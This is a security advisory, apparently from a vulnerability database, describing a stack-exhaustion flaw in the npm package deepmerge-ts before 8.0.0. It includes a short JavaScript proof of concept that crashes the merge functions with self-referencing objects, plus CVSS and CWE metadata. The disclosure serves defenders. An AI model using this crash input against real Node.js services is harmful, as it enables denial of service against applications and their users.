DeepmergeTS has stack exhaustion when merging recursive object graphs
Summary
deepmerge() and deepmergeInto() can be crashed with a crafted recursive object graph. When both merged values contain self-references at the same property path, the library recurses until Node throws RangeError: Maximum call stack size exceeded.
Details
Record merging is implemented recursively. For each enumerable key, the library collects the values from every input object and immediately calls the same merge routine on that property.
There is no visited-object tracking, pair tracking, or cycle detection in that recursion. As a result, if two merged records both point back to themselves through the same key path, the merge logic keeps revisiting the same object pair forever.
This is reachable through the real public API:
deepmerge(...)deepmergeCustom(...)(...)deepmergeInto(target, ...)deepmergeIntoCustom(...)(target, ...)
The issue only occurs when recursive object graphs are supplied. Plain JSON alone does not create this condition.
PoC
import { deepmerge, deepmergeInto } from "deepmerge-ts";
const left = {};
left.self = left;
const right = {};
right.self = right;
try {
deepmerge(left, right);
} catch (error) {
console.log(error.name, error.message);
// Expected: the merge should reject or safely handle recursive input without exhausting the stack.
// Vulnerable behavior: RangeError Maximum call stack size exceeded
}
const target = {};
target.self = target;
const source = {};
source.self = source;
try {
deepmergeInto(target, source);
} catch (error) {
console.log(error.name, error.message);
// Expected: the merge should reject or safely handle recursive input without exhausting the stack.
// Vulnerable behavior: RangeError Maximum call stack size exceeded
}
Impact
Applications that pass attacker-controlled recursive object graphs into these APIs can be forced into a synchronous crash path. In Node.js services, that can terminate request handling for the affected process or trigger repeated worker restarts until the malicious input is blocked.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | deepmerge-ts | < 8.0.0 | 8.0.0 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-674- Platform
- npm
- Package
deepmerge-ts- Disclosed
- 17.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-ggr8-5vv4-36mx - CC BY 4.0
Vulnerability history: deepmerge-ts
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 04.2022 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
Disclosures per year
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 1
-
DeepmergeTS has stack exhaustion when merging recursive object graphs this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.